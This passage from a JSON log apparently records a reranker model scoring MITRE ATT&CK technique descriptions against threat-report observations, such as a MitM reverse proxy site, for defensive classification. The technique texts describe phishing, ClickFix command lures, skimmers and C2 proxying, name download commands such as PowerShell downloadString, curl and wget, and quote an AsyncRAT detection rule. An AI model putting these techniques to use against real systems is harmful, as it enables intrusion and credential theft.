instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine. Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy. Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1592.001", + "text": "ATT&CK technique: T1592.001 Hardware\nDescription: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1585", + "text": "ATT&CK technique: T1585 Establish Accounts\nDescription: Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity. For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing. In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to Acquire Infrastructure for malicious purposes.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.004", + "text": "ATT&CK technique: T1583.004 Server\nDescription: Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1566", + "score": 0.98828125, + "rank": 0 + }, + { + "item_id": "T1598", + "score": 0.8671875, + "rank": 1 + }, + { + "item_id": "T1598.003", + "score": 0.53125, + "rank": 2 + }, + { + "item_id": "T1593", + "score": 0.46875, + "rank": 3 + }, + { + "item_id": "T1583.001", + "score": 0.306640625, + "rank": 4 + }, + { + "item_id": "T1591.003", + "score": 0.2451171875, + "rank": 5 + }, + { + "item_id": "T1598.001", + "score": 0.2333984375, + "rank": 6 + }, + { + "item_id": "T1683.001", + "score": 0.22265625, + "rank": 7 + }, + { + "item_id": "T1583", + "score": 0.10693359375, + "rank": 8 + }, + { + "item_id": "T1594", + "score": 0.10693359375, + "rank": 9 + }, + { + "item_id": "T1608.005", + "score": 0.08447265625, + "rank": 10 + }, + { + "item_id": "T1583.006", + "score": 0.0712890625, + "rank": 11 + }, + { + "item_id": "T1566.003", + "score": 0.039306640625, + "rank": 12 + }, + { + "item_id": "T1204", + "score": 0.03759765625, + "rank": 13 + }, + { + "item_id": "T1585.002", + "score": 0.033203125, + "rank": 14 + }, + { + "item_id": "T1598.004", + "score": 0.0242919921875, + "rank": 15 + }, + { + "item_id": "T1557", + "score": 0.023193359375, + "rank": 16 + }, + { + "item_id": "T1584.006", + "score": 0.021728515625, + "rank": 17 + }, + { + "item_id": "T1566.002", + "score": 0.021728515625, + "rank": 18 + }, + { + "item_id": "T1056", + "score": 0.0203857421875, + "rank": 19 + }, + { + "item_id": "T1593.001", + "score": 0.0191650390625, + "rank": 20 + }, + { + "item_id": "T1596.002", + "score": 0.0191650390625, + "rank": 21 + }, + { + "item_id": "T1598.002", + "score": 0.0177001953125, + "rank": 22 + }, + { + "item_id": "T1597", + "score": 0.015625, + "rank": 23 + }, + { + "item_id": "T1593.002", + "score": 0.01519775390625, + "rank": 24 + }, + { + "item_id": "T1583.004", + "score": 0.01519775390625, + "rank": 25 + }, + { + "item_id": "T1684.001", + "score": 0.0142822265625, + "rank": 26 + }, + { + "item_id": "T1566.004", + "score": 0.013427734375, + "rank": 27 + }, + { + "item_id": "T1585", + "score": 0.013427734375, + "rank": 28 + }, + { + "item_id": "T1592.001", + "score": 0.0125732421875, + "rank": 29 + }, + { + "item_id": "T1590", + "score": 0.0111083984375, + "rank": 30 + }, + { + "item_id": "T1586.002", + "score": 0.01043701171875, + "rank": 31 + }, + { + "item_id": "T1682", + "score": 0.00982666015625, + "rank": 32 + }, + { + "item_id": "T1534", + "score": 0.00811767578125, + "rank": 33 + }, + { + "item_id": "T1591", + "score": 0.007171630859375, + "rank": 34 + }, + { + "item_id": "T1592.002", + "score": 0.007171630859375, + "rank": 35 + }, + { + "item_id": "T1036", + "score": 0.006744384765625, + "rank": 36 + }, + { + "item_id": "T1589.001", + "score": 0.006744384765625, + "rank": 37 + }, + { + "item_id": "T1589", + "score": 0.006317138671875, + "rank": 38 + }, + { + "item_id": "T1590.003", + "score": 0.006317138671875, + "rank": 39 + }, + { + "item_id": "T1608", + "score": 0.005950927734375, + "rank": 40 + }, + { + "item_id": "T1059", + "score": 0.005950927734375, + "rank": 41 + }, + { + "item_id": "T1591.002", + "score": 0.005950927734375, + "rank": 42 + }, + { + "item_id": "T1584.004", + "score": 0.005584716796875, + "rank": 43 + }, + { + "item_id": "T1588.007", + "score": 0.0052490234375, + "rank": 44 + }, + { + "item_id": "T1584", + "score": 0.00494384765625, + "rank": 45 + }, + { + "item_id": "T1583.008", + "score": 0.00494384765625, + "rank": 46 + }, + { + "item_id": "T1204.004", + "score": 0.004638671875, + "rank": 47 + }, + { + "item_id": "T1185", + "score": 0.00408935546875, + "rank": 48 + }, + { + "item_id": "T1557.004", + "score": 0.00408935546875, + "rank": 49 + }, + { + "item_id": "T1102", + "score": 0.00408935546875, + "rank": 50 + }, + { + "item_id": "T1586.001", + "score": 0.00384521484375, + "rank": 51 + }, + { + "item_id": "T1592", + "score": 0.00384521484375, + "rank": 52 + }, + { + "item_id": "T1683.002", + "score": 0.00360107421875, + "rank": 53 + }, + { + "item_id": "T1608.004", + "score": 0.003387451171875, + "rank": 54 + }, + { + "item_id": "T1591.004", + "score": 0.0031890869140625, + "rank": 55 + }, + { + "item_id": "T1665", + "score": 0.0031890869140625, + "rank": 56 + }, + { + "item_id": "T1586", + "score": 0.0028076171875, + "rank": 57 + }, + { + "item_id": "T1539", + "score": 0.0023345947265625, + "rank": 58 + }, + { + "item_id": "T1491", + "score": 0.0023345947265625, + "rank": 59 + }, + { + "item_id": "T1584.008", + "score": 0.00225830078125, + "rank": 60 + }, + { + "item_id": "T1659", + "score": 0.0021209716796875, + "rank": 61 + }, + { + "item_id": "T1190", + "score": 0.0019989013671875, + "rank": 62 + }, + { + "item_id": "T1140", + "score": 0.00193023681640625, + "rank": 63 + }, + { + "item_id": "T1584.005", + "score": 0.00193023681640625, + "rank": 64 + }, + { + "item_id": "T1591.001", + "score": 0.00154876708984375, + "rank": 65 + }, + { + "item_id": "T1550.004", + "score": 0.00141143798828125, + "rank": 66 + }, + { + "item_id": "T1056.003", + "score": 0.00116729736328125, + "rank": 67 + }, + { + "item_id": "T1189", + "score": 0.000911712646484375, + "rank": 68 + }, + { + "item_id": "T1614", + "score": 0.000885009765625, + "rank": 69 + }, + { + "item_id": "T1071", + "score": 0.000606536865234375, + "rank": 70 + }, + { + "item_id": "T1001.003", + "score": 0.00058746337890625, + "rank": 71 + }, + { + "item_id": "T1195", + "score": 0.00057220458984375, + "rank": 72 + }, + { + "item_id": "T1573", + "score": 0.0002460479736328125, + "rank": 73 + }, + { + "item_id": "T1132", + "score": 0.00019073486328125, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 28120 + } + }, + "evidence_sha256": "855e421ea1fa6475b6401d5253efeb735acac0a80b7a11642e94effabb94f011" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 872.6, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours" + }, + "items": [ + { + "id": "T1090", + "text": "ATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: *Figure 19: Communication via proxy.*" + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Figure 8: Multiple possible skimmer domains resolving to the same IP address." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |" + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Notably, the legit DNS server acts as a proxy between the infected host and the malicious server, by making impossible for defenders the application of any filtering at the Network (L3) level." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: Currently, both of these NRDs are resolving to the same IP 34.125.186[.]248, which hosts multiple (possible) skimmer domains lexically close to legitimate services." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: According to Proofpoint research, while TA453 does appear to have elevated privileges allowing them to create credential harvesting pages at soasradio[.]org, other pages on the site continue to host legitimate SOAS-affiliated content." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Lab52 hypothesis is that attackers compromise routers with default credentials and use them as a frontend for their real command and control server." + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Due to the static content distribution service, it is highly popular among threat actors to host malicious attachments that remain publicly accessible even after removing actual files from Discord." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: When a victim browses to a website that matches one of these patterns, JavaScript code will be injected from the threat actor’s domain https://securebankingapp[.]com/." + }, + { + "id": "T1567", + "text": "ATT&CK technique: T1567 Exfiltration Over Web Service\nDescription: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: **Abusing legitimate communication and analytics services in skimmer attacks**" + }, + { + "id": "T1571", + "text": "ATT&CK technique: T1571 Non-Standard Port\nDescription: Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The network communication in this case is also produced by HTTP to the domain **micorsoft[.]store** to the port tcp/2082." + }, + { + "id": "T1195", + "text": "ATT&CK technique: T1195 Supply Chain Compromise\nDescription: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (removable media infected at the factory) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.\nTactics: initial access\nPlatforms: Linux, SaaS, Windows, macOS\nLabeled report example: Intel 471 found that actors possibly linked to North Korea found a way to manipulate the companies’ antivirus update server that allowed them to upload a remote access trojan (RAT) to the compromised ATM machines." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: *alert tcp $EXTERNAL\\_NET any -> $HOME\\_NET any (msg:\"Zscaler Win32.Backdoor.AsyncRAT - Malicious SSL Cert\"; flow:established,to\\_client; content:\"|16 03 01|\"; offset:0; depth:3; content:\"AsyncRAT\"; distance:0; fast\\_pattern; classtype:trojan-activity; reference:url,https://research.zscaler.com;)*" + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: | a=1 | Download web injects |" + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: The latest techniques include compromising vulnerable versions of e-commerce platforms, hosting skimmer scripts on CDNs and cloud services, and using newly registered domains (NRDs) lexically close to any legitimate web service or specific e-commerce store to host malicious skimmer scripts." + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1090.003", + "text": "ATT&CK technique: T1090.003 Multi-hop Proxy\nDescription: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1665", + "text": "ATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as 